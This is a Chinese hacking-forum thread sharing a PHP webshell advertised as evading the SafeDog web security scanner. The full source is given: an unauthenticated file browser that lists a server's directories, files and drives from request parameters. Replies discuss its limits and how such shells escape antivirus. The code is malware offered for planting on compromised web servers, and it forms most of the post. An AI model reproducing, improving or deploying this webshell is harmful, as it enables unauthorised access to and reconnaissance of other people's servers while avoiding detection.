九零登录

[【通过】] 过狗shell文件管理

[复制链接]
发表于 2015-11-23 22:34:58 | 显示全部楼层 |阅读模式
安全狗扫描
1.png
过狗shell界面  
2.png

过狗shell代码:

[Bash shell] 纯文本查看 复制代码
<?
error_reporting(1);
//列目录函数
function dirlist($cd){
        $dh = opendir($cd);
        while($dl = readdir($dh)){
                $dla[] = $dl;
        }
        foreach($dla as $d){
                if(!is_file($cd.$d)&&$d!="."){
                        $content.="<a href='?newdir=".$cd.$d."'>".$d."</a>"."<br />";
                }
        }
        foreach($dla as $d){
                if(is_file($cd.$d)){
                        $content.=$d."<br />";
                }
        }
        return $content;
}
//列出盘符函数
function listDisk(){
        $letters = range('b','z');
        foreach($letters as $l){
                if(is_dir($l.":")){
                        $dlist.= "[<a href='?newdir=".$l.":'>".$l."盘</a>]";
                }
        }
        echo $dlist;
}
//常量定义
$rd = $_SERVER['DOCUMENT_ROOT'];
$fd = $rd.substr($_SERVER['PHP_SELF'],0,strrpos($_SERVER['PHP_SELF'],"/"));
       
        if(!isset($_REQUEST['action'])){
                $ac = "dirlist";
        }else{
                $ac = $_REQUEST['action'];
        }
        if(!isset($_REQUEST['newdir'])){
                $cd = getcwd()."\\";
        }else{
                $cd = $_REQUEST['newdir']."\\";
                chdir($cd);
                $cd = getcwd()."\\";
        }
        switch($ac){
                case "dirlist":$content = dirlist($cd);break;
        }
?>
<html>
<style>
body{
        background-color:#000000;
        color:#FFFFFF;
}
a{
        color:#CC9900;
}
</style>
<body>
<div id="main">
    <div>
    <form name="form1" method="get" action="">
      <label>
      <input name="newdir" type="text" value="<?=$cd?>" size="60">
      </label>
      <label>
      <input type="submit" value="提交">
      </label>
    </form>
    </div>
    <hr color="#FFFFFF" />
  <div id="gongneng">文件目录:[<a href="?newdir=<?=$rd?>">站点根目录</a>][<a href="?newdir=<?=$fd?>">本文件目录</a>]<? listDisk(); ?></div>
        <hr color="#FFFFFF" />
    <div><?=$content?></div>
</div>
</body>
</html>

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2015-11-24 08:56:55 | 显示全部楼层
只有查看功能?
发表于 2015-11-24 08:57:51 | 显示全部楼层
只可以列目录和文件?、、
发表于 2015-11-24 11:12:46 | 显示全部楼层
利用FSO管理文件,一般不杀
发表于 2016-1-11 17:59:40 | 显示全部楼层
好东西
发表于 2016-1-11 21:33:19 | 显示全部楼层
好东西  学习下 顺便加入点新的功能  感谢分享

九零

GMT+8, 2026-10-22 14:57

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表